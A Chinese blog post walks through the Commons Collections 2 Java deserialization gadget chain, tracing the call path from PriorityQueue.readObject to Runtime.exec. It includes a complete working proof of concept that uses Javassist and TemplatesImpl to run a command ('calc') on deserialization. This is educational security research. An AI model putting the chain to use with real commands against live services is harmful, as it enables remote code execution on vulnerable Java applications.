CommonsCollections2 反序列化链分析

CommonsCollections2 反序列化链分析

一、前言

CC链复现的第二篇,CC2存在有好几条链子,这里就分别来进行调试分析一下具体流程

二、前置知识

1、PriorityQueue

PriorityQueue类提供堆数据结构的功能。
它实现了Queue接口
![Java PriorityQueue类实现Queue接口。
150](https://www.cainiaojc.com/run/images/java-priorityqueue-implementation.png)
与普通队列不同,优先队列元素是按排序顺序检索的。
假设我们想以升序检索元素。在这种情况下,优先队列的头是最小的元素。检索到该元素后,下一个最小的元素将成为队列的头。
需要注意的是,优先队列的元素可能没有排序。但是,元素总是按排序顺序检索的。
构造方法 解释
PriorityQueue() 使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity) 使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
其他方法 解释
-------- ------------------------------
add(E e) 将指定的元素插入此优先级队列。
clear() 从此优先级队列中移除所有元素。

代码示例:

public static void main(String[] args) { 
    PriorityQueue priorityQueue = new PriorityQueue(2); 
    priorityQueue.add(2); 
    priorityQueue.add(1); 
    System.out.println(priorityQueue.poll()); 
    System.out.println(priorityQueue.poll()); 
}

result:

1
2

2、getDeclaredField

getDecalaredFieldjava.lang.Class中的一个方法,该方法返回一个Field对象,它反映此Class对象所表示的类或接口的指定已声明字段。 name参数是一个字符串,指定所需字段的简单名称。

3、Field

主要使用的两个方法如下

get    get(Object obj) 返回的 Field表示字段的值,指定对象上。
set    set(Object obj, Object value) 设置域为代表的这 Field对象指定对象上的参数指定的新值。 

4、TransformingComparator

TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。
TransformingComparator的构造方法中,传入了两个值decoratedtransformer
TransformingComparator调用compare方法时,就会传入transformer对象的transform方法。

|725

5、Javassist

5.1 简述

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。
下面大概讲一下POC中会用到的类和方法:

5.2 ClassPool

ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。 常用方法 解释
static ClassPool getDefault() 返回默认的ClassPool,一般通过该方法创建我们的ClassPool
ClassPath insertClassPath(ClassPath cp) 将一个ClassPath对象插入到类搜索路径的起始位置;
ClassPath appendClassPath 将一个ClassPath对象加到类搜索路径的末尾位置;
CtClass makeClass 根据类名创建新的CtClass对象;
CtClass get(java.lang.String classname) 从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

5.3 CtClass

CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。 常用方法 解释
void setSuperclass(CtClass clazz) 更改超类,除非此对象表示接口;
byte[] toBytecode() 将该类转换为类文件;
CtConstructor makeClassInitializer() 制作一个空的类初始化程序(静态构造函数);

5.4 示例代码

package com.yulate.learing;  
import javassist.ClassPool;  
import javassist.CtClass;  
public class javassistTest {  
    public static void createPerson() throws Exception {  
        // 实例化一个ClassPool容器  
        ClassPool pool = ClassPool.getDefault();  
        // 新建一个CtClass ,类名为Cat  
        CtClass cat = pool.makeClass("Cat");  
        // 设置一个要执行的命令  
        String cmd = "System.out.println(\"javassist test success!\");";  
        // 制作一个空的类初始化,并在前面插入要执行的命令语句  
        cat.makeClassInitializer().insertBefore(cmd);  
        // 重新设置一下类名  
        String randomClassName = "EvilCat" + System.nanoTime();  
        cat.setName(randomClassName);  
        // 将生成的类文件保存下来  
        cat.writeFile();  
        // 加载该类  
        Class c = cat.toClass();  
        // 创建对象  
        c.newInstance();  
    }  
    public static void main(String[] args) throws Exception {  
        createPerson();  
    }  
}

新生成的类如下,其中有一块static代码:

|800

当该类被实例化的时候static里面的代码被执行
|800

三、利用链分析

先贴上POC:

import javassist.ClassPool;  
import javassist.CtClass;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.PriorityQueue;  
public class Cc2Poc_2 {  
    public static void main(String[] args) throws Exception {  
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";  
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池  
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径  
        CtClass payload = classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类  
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet  
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime  
        byte[] bytes = payload.toBytecode();//转换为byte数组  
        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl  
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段  
        field.setAccessible(true);//暴力反射  
        field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组  
        Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段  
        field1.setAccessible(true);//暴力反射  
        field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test  
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});  
        TransformingComparator comparator = new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象  
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。  
        queue.add(1);//添加数字1插入此优先级队列  
        queue.add(1);//添加数字1插入此优先级队列  
        Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段  
        field2.setAccessible(true);//暴力反射  
        field2.set(queue, comparator);//设置queue的comparator字段值为comparator  
        Field field3 = queue.getClass().getDeclaredField("queue");//获取queue的queue字段  
        field3.setAccessible(true);//暴力反射  
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl  
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));  
        outputStream.writeObject(queue);  
        outputStream.close();  
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("test.out"));  
        inputStream.readObject();  
    }  
}

先看第一部分

ClassPool classPool = ClassPool.getDefault();//返回默认的类池  
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径  
CtClass payload = classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类  
payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet  
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

第一部分的意思是创建一个新的类,其父类为AbstractTranslet,并设置构造函数
这里有一个问题,为什么创建该类要将其父类设置为AbstractTranslet,带着这个疑惑我们继续往下分析。
第二部分

byte[] bytes = payload.toBytecode();//转换为byte数组
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl  
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段  
field.setAccessible(true);//暴力反射  
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组  
Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段  
field1.setAccessible(true);//暴力反射  
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test

第二部分代码主要进行的操作为通过反射获取到templatesImpl_bytecodes字段,然后再将其设置为第一部分创建类转换而成的字节码,_name也是通过同样的方法设置为test
这里就出现了第二个疑问,为什么这里要将templatesImpl_bytecodes字段设置为payload的字节码。
分析这个问题我们需要跟入templatesImpl类中查看_bytecodes字段在何处进行了处理

|850

经过loader.defineClass的处理,返回一个class,在getTransletInstance()方法中调用了_class.newInstance(),也就是对我们传入的自定义类payload进行了实例化,该处操作具体可以参照前置知识中的[[#5、Javassist]]。这也是为什么POC中使用了TemplatesImpl类的原因。
|850

在上图箭头指向的部分可以看见将结果强转为AbstractTranslet类类型,这就能解释清楚第一个问题为什么要将自定义类的父类设置为AbstractTranslet
在知道了getTransletInstance()会实例化_class的前提下我们需要去找到一个调用getTransletInstance()的地方。在TemplatesImpl类中调用getTransletInstance()方法的地方就只有newTransformer方法。
|850

这时候就要考虑如何调用newTransformer了,先去看看POC中是如何处理的

InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});  
TransformingComparator comparator = new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

这里又使用了TransformingComparator类,这究竟又是为什么呢?其实在前置知识的地方说过。TransformingComparatorcompare方法会去调用传入参数的transform方法。

|875

而关于compare的方法就需要用到PriorityQueue来实现了。
对应的POC代码:

PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。  
queue.add(1);//添加数字1插入此优先级队列  
queue.add(1);//添加数字1插入此优先级队列  
Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段  
field2.setAccessible(true);//暴力反射  
field2.set(queue, comparator);//设置queue的comparator字段值为comparator

siftDownUsingComparator方法会调用到comparatorcompare

|750

siftDownUsingComparator会在siftDown方法中进行调用。
|750

siftDown会在heapofy中被调用
|750

heapify会在readObject复写点被调用
|750

下面再来看POC中的最后一段代码

Field field3 = queue.getClass().getDeclaredField("queue");//获取queue的queue字段  
field3.setAccessible(true);//暴力反射  
field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

设置queue.queue为Object数组,其内容为两个内置恶意代码的TemplatesImpl实例化对象,这样在调用heapify方法的时候就会被传参进去。

|800

到这里整个POC为何如此构造已经被分析的足够清晰了,接下来就是分析调用链。

四、利用链调试

在入口readObject方法出打上断点,就可以看见反序列化过程中调用的readObject方法是PriorityQueue类中的。而这给readObject方法会在执行过程中去调用heapify方法

|800

heapify会调用siftDown方法,并且传入queue,这里的queue是刚刚构造好恶意代码的自定义实例化类对象
|800

该方法判断comparator是否为空,如果不为空就会调用siftDownUsingComparator方法,并且传入的comparator是被TransformingComparator修饰过的InvokerTransformer实例化对象。
|800

跟进到siftDownUsingComparator方法中,发现方法会去调用comparator里面的compare
|800

因为这里的compare是被TransformingComparator修饰过的InvokerTransformer实例化对象,所以这里调用的就是TransformingComparator中的compare

这里传入两个参数,内容为TemplatesImpl实例化对象,跟入到方法里面,iMethodName的内容为newTransformer,然后反射调用了newTransformer

newTransformer会调用getTransletInstance方法

继续跟入getTransletInstance方法,这里先会对_name进行判断是否为空,这就是为什么需要在POC中将_name设置为test的缘故。

然后会对_class判断是否为空,为空的话调用defineTransletCLasses() 进行赋值,这里是将_bytecodes赋值给_class

defineTransletClasses()执行完会跳回刚刚的地方
接下来_class.newInstance()会对_class进行实例化,在执行完这一步就会弹出计算器,具体是为什么看前置知识中的Javassist

调用链如下:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            TemplatesImpl.getTransletInstance()
                                (动态创建的类)cc2.newInstance()
                                    Runtime.exec()

五、总结

经过这次的分析对java反序列化的利用链构建理解更上一层。其实个人觉得在分析利用链的时候,只是用别人写好的POC代码看他的调用步骤的话,意义并不大。分析利用链需要思考利用链的POC为什么要这样写。这也是我一直在文中一直抛出疑问的原因,这些疑问都是我一开始考虑到的东西,需要多思考。

六、参考文献

Java安全之Commons Collections2分析-安全客 - 安全资讯平台 (anquanke.com)
Java反序列化之CC2 | 沉铝汤的破站 (chenlvtang.top)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇